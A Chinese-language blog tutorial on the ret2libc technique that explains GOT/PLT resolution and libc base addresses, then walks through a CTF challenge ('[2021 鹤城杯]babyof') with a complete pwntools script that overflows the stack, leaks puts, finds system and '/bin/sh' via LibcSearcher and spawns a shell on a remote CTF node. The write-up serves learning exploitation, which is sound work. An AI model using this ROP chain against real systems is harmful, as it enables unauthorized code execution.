首页 > 其他分享 >pwn知识——ret2libc

pwn知识——ret2libc

时间:2023-11-25 22:35:35浏览次数:39  
标签:addr puts libc 知识 system 地址 pwn ret2libc p64

这一篇主要记录的就是有关libc泄露了,困扰了我许久的玩意终于有写出来的一天了,不容易啊(哭)
不过理解了之后确实就会觉得好写很多嘞
在写题解之前还是写写libc泄露的原理和流程比较好,毕竟我自己学的时候搜索各种资料、看各种视频,真的都看得头大,一路摸爬滚打属实不易,我也希望能写出一篇能让别的初学者看得懂的原理解析。

一、libc讲解

(1).为什么要libc泄露

答:其一,当然是因为题目没有给啊!比如你想要system()函数,你想要bin/sh,但是给你的附件里边没有,然后想用ROPgadget看看能不能用ret2syscall的方法却也发现合适的pop|ret少之又少或根本就没有给你0x80和0xb。其二,就是开了PIE和RELRO,地址随机化让我们无法直接调用函数。这个时候就需要靠libc泄露地址来进行攻击了

(2).怎样实现libc泄露

要想通过libc进行地址泄露,那么我们就得先认识两个东西,GOT表(Global Offset Table)和PLT表(Procedure Linkage Table)
GOT表(全局偏移表)里存储着被调用函数真正的地址,而PLT表(程序链接表)里则储存着被调用函数的GOT表的地址给个流程图会好理解一些,以system为例,我自己画的可能有些粗略,希望能提供帮助

首次调用

image

再次调用

image
如果还看不懂,那我再打个比方。顾客(system)下单,平台(system@plt)接单,平台把单子给骑手(system@got),骑手纳闷:你给我单子有啥用啊,给我外卖让我送啊。告诉平台:“火速备餐!”过了一会儿后,平台把外卖(system的真实地址)给骑手了,骑手把外卖送到顾客手上。这就是首次调用函数时所经历的过程。至于之后多次的调用,可以理解为,平台备餐做多了,刚好有个单子来就可以直接给骑手让骑手去送。生动形象!
所以,我们如果做ret2libc的题目,其核心就是通过plt表和got表,来泄露出函数的真实地址,然后构建基地址

基地址

什么是基地址?

基地址是一个固定的内存地址,你可以把它理解为got表里存储的函数的真实地址,它是一个绝对地址,是内存加载时的起始地址。打个比喻的话,那就是,如果你站在大地上,那么大地就是基地址,地面到你头顶的距离可以称为偏移地址,地面到高楼楼顶也是一个偏移地址,大地是一个基底,你们的存在都在大地之上。说点学pwn的人都知道的,那就是,它在x64的情况下是0x7f开头,在x86的情况下是0xf7开头,别把它和虚拟地址搞混了

为什么需要基地址?

因为基地址是一个基底,我们可以根据基底+偏移量就可以调用任意一个在libc.so文件里的函数,那flag不就犹如探囊取物?

总思路

1.构建第一次payload:栈溢出——泄露libc某一函数真实地址——ret某一可执行函数地址(通常是main,这一步的目的是循环)
2.获取泄露出的真实地址
3.构造基地址,并根据基地址+偏移量来调用特定函数
4.构造第二次payload:栈溢出——libc中的bin/sh地址——libc中的system函数地址
5.交互获得权限

(3).例题:[2021 鹤城杯]babyof(最基本的ret2libc,没有代码审计和陷阱)

首先checksec
image
开启了NX保护和Partial RELRO,没法在栈上写代码,地址随机化让我们无法使用ret2txt手段。
再用ROPgadget看看能不能构造gadget链
image
发现符合要求的少得可怜,没法用ret2syscall
看看IDA代码
image
image
没有后门函数,也没有system和bin/sh提供给我们,为今之计,只有ret2libc了
在上边我们已经通过ROPgadget获取了rdi_ret_addr了,再取一个ret地址。至于为什么要ret地址,我们最后讲。
然后现在就是要通过栈溢出来泄露libc地址了,这里我们选择泄露puts函数的地址。不过记住,它是x64系统,参数先存在寄存器上,当参数超过6时,才会在往栈上传参。
所以第一次我们构造的脚本是这样的

from pwn import *
p = remote('node4.anna.nssctf.cn',28947)
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
pop_rdi = 0x0000000000400743
ret = 0x0000000000400506
puts_plt = elf.plt['puts'] #puts在plt表中的地址
puts_got = elf.got['puts'] #puts在got表中的地址
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #先调用got表告诉plt表我没有puts函数地址,然后再次调用plt表给将puts函数的地址泄露出来,最后跳转回main函数再次执行
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")#第一次函数执行结束
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#u64是接收字节流,\x7f是64位程序函数地址的默认开头,读取7f往前6字节(在内存中,字节是倒着放的)  然后用ljust来补齐8字节,\x00是填充字符,不会影响数据

到此,我们puts的真实地址就泄露完毕了,接下来就要构建libc_base然后根据偏移量调用在libc.so里的函数,再次构造payload,第二次的攻击如下

from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

因为我本人还并不太会使用gdb进行动态调试,根据本地泄露的地址来推测libc.so的版本,所以用的是LibcSearcher库
如果要用动态调试来泄露地址来推测libc.so版本,这里推荐用https://libc.rip/
如果是跟我一样不擅长使用gdb的,还是初学者的,可以用LibcSearcher库。不过这并不是长久之策,LibcSearcher已经很久没有维护过了,有些版本LibcSearcher是搜不到的,要想在pwn上走得更远,动态调试必不可少,可以说既是基础,也是精髓,更是核心
好了,那现在是总的脚本

from pwn import *
from LibcSearcher import LibcSearcher
p = remote('node4.anna.nssctf.cn',28947)
#p = process("./2021_鹤城杯_babyof")
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
ret = 0x0000000000400506
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400743
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

运行脚本即可,但记住即使是LibcSearcher,也要选对对应的libc.so版本,否则即使你脚本代码是对的,也没有办法打通
image
至于为什么要进行ret空转,是因为ubuntu18及以上调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐
———————————————————————————————————————————————————————————————————————————————————————————————
感慨:ret2libc对刚开始接触pwn的人来说,确实是很难的,因为新出来的知识点多了很多,并且也有些难度,博主自己都学习了快一周才明白到底是个什么流程,该如何进行攻击。这个真的,得自觉去学习,去搜索资料,去看相关视频。光博主自己在网络上找的都焦头烂额,感觉好多人其实讲的有些晦涩,或简略,让人很难理解,所以我萌生了自己写一篇关于libc泄露的讲解,以我自己理解的方式,尽可能的通俗生动地去讲解。可能有一些地方不太准确,欢迎大家来指正,我会在后续进行修正的

标签:addr,puts,libc,知识,system,地址,pwn,ret2libc,p64
From: https://www.cnblogs.com/falling-dusk/p/17856141.html

相关文章

  • 【音视频常见接口HDMI、DP、DVI基础知识】
    DP接口:DisplayPort(简称DP),该接口免认证、免授权金,比较节约钱,主要用于视频源与显示器等设备的连接,也支持携带音频、USB和其他形式的数据。HDMI接口:HighDefinitionMultimedialnterface(简称HDMI),HDMI是一种数字化视频/音频接口技术,可以同时传送音频和影像信号,是一种高清视频接口......
  • 读书体会:有时候遇到自己暂时理解不了的知识也不要太担心,死记硬背并不一定是错的
    记录一个个人的读书体会: 有时候遇到自己暂时理解不了的知识也不要太担心,死记硬背并不一定是错的。  ---------------------------------  曾经的自己总认为读书一定要读得懂才行,凡是遇到自己暂时无法读懂的内容就会陷入到无止境的死循环和纠结中,在个人的认知中读书就......
  • 第十三章学习笔记、知识完整性总结
    TCP/IP和网络编程本章的主要内容是TCP/IP和网络编程,主要有两部分,一是TCP/IP协议及其应用,还有就是Web和CGI编程。TCP/IP协议包括TCP/IP栈、IP地址、主机名、DNS、IP数据包和路由器,基于TCP/IP网络中的TCP和UDP协议的套接字服务器编程。Web和CGI编程主要是HTTP编程模型、Web页面......
  • 第十四章知识点、完整性总结
    第十四章:MySQL数据库系统本章讨论了MySQL关系数据库系统;介绍了MySQL并指出了它的重要性;展示了如何在Linux机器上安装和运行MySQL;演示了如何使用MySQL在命令模式和批处理模式下使用SQL脚本创建和管理数据库;说明了如何将MySQL与C编程相结合;演示了如何将MySQL与PHP集成,通过动态We......
  • 5分钟掌握接口自动化测试,4个知识点简单易学!
    一.什么是接口测试接口测试是一种软件测试方法,用于验证不同软件组件之间的通信接口是否按预期工作。在接口测试中,测试人员会发送请求并检查接收到的响应,以确保接口在不同场景下都能正常工作。就工具而言,常见的测试工具有Jmeter、Postman等。但这类工具往往更是做接口调试,对于做......
  • day03-2PyCharm相关知识补充
    【PyCharm相关知识补充】【一】常用快捷键大全【1】基本编辑快捷键Ctrl+Space:基本的代码完成(类、方法、属性)Ctrl+Alt+Space:快速导入任意类Ctrl+Shift+Enter:语句完成Ctrl+P:参数信息(在方法中调用参数)Ctrl+Q:快速查看文档F1:外部文档Shift+F1:外......
  • day03-1Python相关知识补充
    【Python相关知识补充】【一】PIP换源【1】问题描述在使用Python时,我们经常需要用到pip安装第三方包,在某些情况下,由于网络速度慢或者其他各种原因,pipinstall会非常慢,甚至可能无法完成。在终端窗口使用以下命令进行第三方模块的下载、卸载:pipinstall模块名pipinstall......
  • pip相关知识
    正常安装语法#安装单个pipinstallsome-package#安装指定版本pipinstallsome-package==版本号#查看当前版本模块具体信息,包括版本号pipshowsome-package#安装指定版本pipinstallpandas==2.1.3批量卸载/安装包#先导出包到一个位置,比如桌面piplistfree......
  • Adobe PS识用小知识
    设置字体为中文显示【编辑】-【首选项】(Ctrl+K)-【文字/字体】-取消“以英文显示字体名称”Windows系统字体黑体,SimHei:521飞沙MrFlySand仿宋,FangSong:521飞沙MrFlySand楷体,KaiTi:521飞沙MrFlySand仿宋_GB2312,FangSong_GB2312:521飞沙MrFlySand楷体_GB2312,KaiTi_GB2312:521飞......
  • Android新手必学:关于多线程的知识
    引言在Android开发中,多线程编程是一项非常重要的技能。Android应用程序通常需要同时执行多个任务,如网络请求、文件读写、耗时计算等。如果在主线程中执行这些任务,会导致应用程序的界面卡顿,用户体验变差。因此,我们需要使用多线程来实现并发执行任务,提高应用程序的响应性能和用户体验......